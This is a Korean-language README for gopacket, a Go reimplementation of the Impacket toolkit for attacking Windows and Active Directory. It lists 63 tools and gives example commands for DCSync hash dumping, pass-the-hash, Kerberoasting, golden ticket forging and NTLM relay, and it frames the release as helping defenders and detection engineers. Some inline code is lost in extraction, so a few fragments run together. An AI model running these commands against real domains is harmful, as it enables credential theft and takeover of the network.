Impacket의 완전한 Go 포팅 - Windows 및 Active Directory 프로토콜 공격을 위한 63개의 CLI 도구와 24개의 라이브러리로, 의존성 없는 단일 바이너리로 컴파일됩니다.
작성자: Jacob Paullus (@psycep_)
Impacket의 완전한 Go 구현 - Windows 네트워크 프로토콜 상호작용, Active Directory 열거, 공격 실행을 위한 63개 도구와 24개 라이브러리 패키지. 네이티브 Go 프레임워크로 제작되어 한 번 컴파일하면 Python 의존성 없이 어디서든 실행할 수 있습니다.
베타 릴리스 - 고도로 실험적. gopacket은 활발히 개발 중입니다. 핵심 도구들은 Active Directory 랩 환경에서 테스트되었지만, 엣지 케이스와 프로토콜 특이사항은 예상되는 부분입니다. 무언가 작동하지 않는다면, 동일한 작업을 Impacket으로 나란히 테스트하고 두 출력을 모두 버그 리포트에 포함해 주세요. 이는 gopacket 특유의 문제인지 공유된 프로토콜 한계인지 빠르게 식별하는 데 도움이 됩니다.
git clone https://github.com/mandiant/gopacket
cd gopacket
# Default: Linux/macOS build + install to /usr/local/bin
./install.sh
# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable # static Linux binaries in ./dist/portable/
./install.sh --target windows # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all # build every target in one run
# Build without installing (native only)
./install.sh --build-only
# Or build with make
make build
기본(--target native) 빌드는 Go 1.24.13+, GCC, libpcap 개발 헤더가 필요합니다 (Debian/Ubuntu/Kali에서는 apt install build-essential libpcap-dev, RHEL/CentOS에서는 , macOS에서는 ). 및 타겟은 Go 툴체인만 필요합니다. 해당 빌드에서는 libpcap이 필요하기 때문에 와 이 스텁이 됩니다. 전체 매트릭스는 을 참조하세요.
yum install gcc libpcap-develbrew install libpcapportablewindowssniffsplitgopacket은 Linux, macOS, Windows에서 빌드됩니다. 작동하는 도구 세트와 사용 가능한 프록시 경로는 빌드 플래그에 따라 달라집니다:
| 빌드 | 사용 가능한 도구 | 프록시 |
|---|---|---|
| Linux / macOS with cgo (기본) | 전체 63개 | proxychains (LD_PRELOAD) 및/또는 -proxy SOCKS5 |
Linux with CGO_ENABLED=0 | 61개 (sniff, split은 스텁) | -proxy만 (proxychains는 libc 훅 필요) |
Windows (GOOS=windows CGO_ENABLED=0) | 60개 (sniff, split, sniffer 스텁) | -proxy만 (Windows에는 LD_PRELOAD 없음) |
sniff와 split은 cgo를 통해 libpcap에 의존하고, sniffer는 Unix raw 소켓에 의존합니다. 타겟용으로 도구를 빌드할 수 없을 때, gopacket은 명확한 메시지를 출력하고 종료 코드 1로 종료하는 스텁을 대체하므로 go build ./...는 항상 성공하고 설치 레이아웃은 플랫폼 간 일관성을 유지합니다.
제거하려면:
./install.sh --uninstall
gopacket은 두 가지 독립적인 프록시 경로를 지원합니다. 이들은 체이닝도 가능합니다.
모든 gopacket 도구는 proxychains를 통해 작동합니다. Go 바이너리는 일반적으로 proxychains를 우회합니다. Go 런타임이 DNS와 네트워킹을 내부적으로 처리하여 proxychains가 의존하는 LD_PRELOAD 훅을 건너뛰기 때문입니다. gopacket은 네트워크 작업을 위해 시스템 C 라이브러리에 링크함으로써 이를 우회하여 proxychains가 정상적으로 연결을 가로챌 수 있게 합니다.
proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/[email protected]'
-proxy)모든 도구는 LD_PRELOAD에 의존하지 않고 SOCKS5 서버를 통해 아웃바운드 TCP를 라우팅하는 -proxy를 허용합니다. 허용되는 스킴: socks5 및 socks5h. -proxy가 설정되지 않은 경우, ALL_PROXY / all_proxy 환경 변수가 폴백으로 참조됩니다.
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'
UDP 의존 기능은 -proxy 하에서 비활성화됩니다. 패킷을 조용히 유출하는 대신 말이죠 (SOCKS5 UDP ASSOCIATE는 프록시에서 거의 지원되지 않으며, UDP에 대해 프록시를 우회하면 운영자의 실제 소스 IP가 노출됩니다). 영향을 받는 기능과 그 우회 방법은 KNOWN_ISSUES.md에 문서화되어 있습니다.
체이닝: -proxy는 proxychains와 호환됩니다. SOCKS5 프록시 자체에 대한 TCP 연결은 여전히 libc connect()를 통해 이루어지므로, proxychains → gopacket → -proxy → target은 중첩 라우팅 시나리오에서 작동합니다.
gopacket의 24개 프로토콜 패키지 위에 사용자 정의 도구를 구축하기 위한 전체 API 문서, 코드 예제, 아키텍처 개요는 라이브러리 개발자 가이드를 참조하세요.
| 도구 | 설명 |
|---|---|
| psexec | SMB 서비스 생성을 통한 원격 명령 실행 |
| smbexec | SMB를 통한 원격 명령 실행 (psexec보다 은밀함) |
| wmiexec | WMI를 통한 원격 명령 실행 |
| dcomexec | DCOM을 통한 원격 명령 실행 |
| atexec | 작업 스케줄러를 통한 원격 명령 실행 |
| 도구 | 설명 |
|---|---|
| secretsdump | SAM/LSA/NTDS.dit 추출 및 DCSync (원격 + 오프라인) |
| dpapi | DPAPI 백업 키 추출 |
| esentutl | 오프라인 ESE 데이터베이스 파서 (NTDS.dit) |
| registry-read | 오프라인 Windows 레지스트리 하이브 파서 |
| 도구 | 설명 |
|---|---|
| getTGT | 비밀번호, 해시 또는 AES 키로 TGT 요청 |
| getST | S4U2Self/S4U2Proxy로 서비스 티켓 요청 |
| GetUserSPNs | Kerberoasting - SPN 찾기 및 요청 |
| GetNPUsers | AS-REP roasting - 사전 인증 없는 계정 찾기 |
| ticketer | 골든/실버 티켓 위조 |
| ticketConverter | ccache와 kirbi 형식 간 변환 |
| describeTicket | Kerberos 티켓 파싱 및 복호화 |
| getPac | PAC 정보 요청 및 파싱 |
| keylistattack | KERB-KEY-LIST-REQ 공격 (RODC) |
| raiseChild | 골든 티켓을 통한 자식-부모 도메인 권한 상승 |
| 도구 | 설명 |
|---|---|
| GetADUsers | LDAP를 통한 도메인 사용자 열거 |
| GetADComputers | LDAP를 통한 도메인 컴퓨터 열거 |
| GetLAPSPassword | LDAP를 통한 LAPS 비밀번호 읽기 |
| findDelegation | 위임 구성 찾기 |
| lookupsid | LSARPC를 통한 SID 브루트포싱 |
| samrdump | SAMR을 통한 사용자 열거 |
| rpcdump | epmapper를 통한 RPC 엔드포인트 덤프 |
| rpcmap | 접근 가능한 RPC 인터페이스 스캔 |
| net | SAMR/LSARPC를 통한 net user/group/computer 열거 |
| netview | 세션, 공유, 로그온한 사용자 열거 |
| CheckLDAPStatus | LDAP 서명 및 채널 바인딩 요구사항 확인 |
| DumpNTLMInfo | SMB 협상에서 NTLM 인증 정보 덤프 |
| getArch | RPC를 통한 원격 OS 아키텍처 감지 |
| machine_role | 머신 역할 감지 (DC, 서버, 워크스테이션) |
| 도구 | 설명 |
|---|---|
| addcomputer | 머신 계정 생성/수정/삭제 (SAMR + LDAP) |
| rbcd | 리소스 기반 제약 위임 조작 |
| dacledit | AD 객체의 DACL 읽기/쓰기 |
| owneredit | 객체 소유권 읽기/수정 |
| samedit | SAM 계정 이름 스푸핑 (CVE-2021-42278/42287) |
| badsuccessor | BadSuccessor / 백업 운영자 권한 상승 |
| changepasswd | SAMR 및 LDAP를 통한 비밀번호 변경/재설정 |
| 도구 | 설명 |
|---|---|
| smbclient | 대화형 SMB 클라이언트 (공유, ls, get, put 등) |
| smbserver | 파일 공유용 SMB 서버 |
| attrib | SMB를 통한 파일 속성 조회/수정 |
| filetime | SMB를 통한 파일 타임스탬프 조회/수정 |
| services | SVCCTL을 통한 원격 서비스 관리 |
| reg | WINREG를 통한 원격 레지스트리 작업 |
| Get-GPPPassword | SYSVOL에서 그룹 정책 기본 설정 비밀번호 추출 |
| karmaSMB | 해시 캡처용 악성 SMB 서버 |
| 도구 | 설명 |
|---|---|
| ntlmrelayx | 다중 프로토콜 지원을 갖춘 완전한 NTLM 릴레이 프레임워크 |
ntlmrelayx 지원:
| 도구 | 설명 |
|---|---|
| mssqlclient | SQL/Windows/Kerberos 인증을 지원하는 대화형 MSSQL 클라이언트 |
| mssqlinstance | SQL Browser를 통한 MSSQL 인스턴스 검색 |
| 도구 | 설명 |
|---|---|
| wmiquery | 대화형 WMI 쿼리 셸 |
| wmipersist | WMI 이벤트 구독 지속성 |
| 도구 | 설명 |
|---|---|
| tstool | 터미널 서비스 세션 및 프로세스 열거 |
| 도구 | 설명 |
|---|---|
| rdp_check | RDP 인증 확인 |
| mqtt_check | MQTT 인증 확인 |
| exchanger | Exchange Web Services 클라이언트 |
| 도구 | 설명 |
|---|---|
| ntfs-read | 오프라인 NTFS 파일시스템 파서 |
| ping / ping6 | ICMP ping |
| sniff / sniffer | 네트워크 패킷 캡처 |
| split | 대용량 파일 분할 |
모든 네트워크 도구는 세 가지 인증 방법을 지원합니다:
# Password
gopacket-secretsdump 'domain/user:password@target'
# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'
# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'
| 플래그 | 설명 |
|---|---|
-hashes LMHASH:NTHASH | NTLM 해시 인증 (LM 해시는 비워둘 수 있음) |
-k | Kerberos 인증 사용 |
-no-pass | 비밀번호 프롬프트 표시 안 함 (-k 또는 -hashes와 함께 사용) |
-dc-ip IP | 도메인 컨트롤러의 IP 주소 |
-target-ip IP | 타겟의 IP 주소 (Kerberos용 호스트명 사용 시) |
-port PORT | 타겟 포트 (기본값은 도구마다 다름) |
-proxy URL | 아웃바운드 TCP를 SOCKS5 프록시를 통해 라우팅 (예: socks5h://127.0.0.1:1080). UDP 기능은 비활성화됨. |
-debug | 디버그 출력 활성화 |
# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:[email protected]'
# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'
# Kerberoast
gopacket-getuserspns 'corp.local/user:[email protected]'
# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin
# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks
# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access
# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:[email protected]'
pkg/ 디렉터리에는 독립적으로 임포트할 수 있는 24개의 재사용 가능한 프로토콜 패키지가 포함되어 있습니다.
| 패키지 | 설명 |
|---|---|
| smb | NTLM 및 Kerberos 인증을 지원하는 SMB2/3 클라이언트 |
| ldap | NTLM/Kerberos 바인드를 지원하는 LDAP 클라이언트 |
| dcerpc | DCE/RPC 클라이언트 + 20개 서비스 구현 (DRSUAPI, SAMR, SVCCTL, LSARPC, WINREG, NETLOGON, DCOM, TSCH, EPMAPPER 등) |
| kerberos | Kerberos 클라이언트, 티켓 위조 (골든/실버), S4U2Self/S4U2Proxy |
| ntlm | NTLM 인증 프로토콜 |
| relay | NTLM 릴레이 프레임워크 (서버, 클라이언트, 공격, SOCKS) |
| tds | SQL Server TDS 프로토콜 |
| ese | Extensible Storage Engine 파서 |
| registry | Windows 레지스트리 하이브 파서 |
| ntfs | NTFS 파일시스템 파서 |
| security | 보안 디스크립터, ACL, SID |
| dpapi | DPAPI 구조 |
| mqtt | MQTT 프로토콜 클라이언트 |
| session | 타겟/자격 증명 파싱 (domain/user:pass@host) |
| flags | 통합 CLI 플래그 프레임워크 |
gopacket은 완전한 Impacket 동등성을 목표로 합니다. 다음은 아직 구현되지 않았습니다:
릴레이 프로토콜 클라이언트:
릴레이 공격 모듈:
독립 실행형 도구:
ifmap.py (DCOM 인터페이스 매핑)mimikatz.py (RPC를 통한 제한적 Mimikatz)goldenPac.py (MS14-068 - 패치된 시스템에서 구식)smbrelayx.py (ntlmrelayx로 대체됨)kintercept.py (Kerberos 가로채기)이러한 격차는 우선순위가 낮습니다 - 대부분 테스트에 특수 인프라가 필요하거나 최신 기법으로 대체되었습니다.
이는 Impacket과 공유되는 프로토콜 수준의 제한 사항이며, gopacket 버그가 아닙니다:
각 문제와 우회 방법에 대한 자세한 내용은 KNOWN_ISSUES.md를 참조하세요.
이것은 베타 릴리스입니다. 버그는 예상되며, 기여를 환영합니다.
gopacket은 Impacket과 동일한 와이어 프로토콜을 구현하기 때문에, "버그"의 상당 부분은 gopacket 특유의 문제가 아니라 환경적 문제로 밝혀집니다 - 패치된 DC, LDAP 서명 요구사항, EPA, PKT_INTEGRITY, SMB 서명, CVE-2019-1040 이후의 NTLM MIC 검증, 누락된 SPN, 시간 차이, DNS 특이사항, 방화벽 규칙 등. 동일한 작업을 Impacket으로 나란히 실행하면 환경을 방정식에서 제거할 수 있습니다:
이 단일 분류 단계는 많은 왕복을 절약하므로 건너뛰지 마세요.
-debug로 gopacket을 다시 실행하고 전체 출력을 캡처corp.internal → example.local
및 dc01.corp.internal → dc01.example.local로 대체하는 것은 괜찮습니다 - 데이터의
구조는 유지하되 식별 값은 유지하지 마세요. 의심스러우면 삭제하세요.사용 사례와 Impacket 대응 항목(있는 경우)을 설명하는 GitHub 이슈를 열어주세요. 기능이 위의 "누락된 기능" 목록에 있다면 어느 것인지 언급해 주세요 - 우선순위를 정하는 데 도움이 됩니다.
PR을 환영합니다. 열기 전에:
go build ./..., go vet ./..., gofmt -l ., go test ./...를 실행하고
모두 깨끗하게 통과하는지 확인하세요위협 행위자들은 Python에서 벗어나고 있습니다. 컴파일된 Go 및 Rust 도구 (Sliver, BRC4, Geacon, 맞춤형 로더)가 실제 침해에서 Impacket을 점점 더 대체하고 있습니다. 대부분의 방어 도구와 탐지 로직은 Impacket의 Python 기반 네트워크 동작을 중심으로 구축되었으며, 공격자 생태계가 컴파일된 언어로 이동함에 따라 그 커버리지는 침식되고 있습니다.
gopacket은 부분적으로 보안 커뮤니티가 이러한 전환보다 앞서 나갈 수 있도록 돕기 위해 존재합니다. 동일한 프로토콜과 기법의 오픈 소스이고 읽기 쉬운 Go 구현을 제공함으로써, 방어자와 탐지 엔지니어는 다음을 할 수 있습니다:
공격자 도구와 방어자 가시성 사이의 격차는 새 도구가 비공개로 유지될 때 가장 큽니다. gopacket을 오픈 소스로 공개하는 것이 그 격차를 좁힙니다.
KRB5CCNAME이 설정되지 않은 경우, 도구는 현재 디렉터리에서 <username>.ccache를 찾습니다-proxy SOCKS5 플래그를 모두 지원합니다 (프록시 지원 참조)Apache License 2.0에 따라 릴리스되었습니다.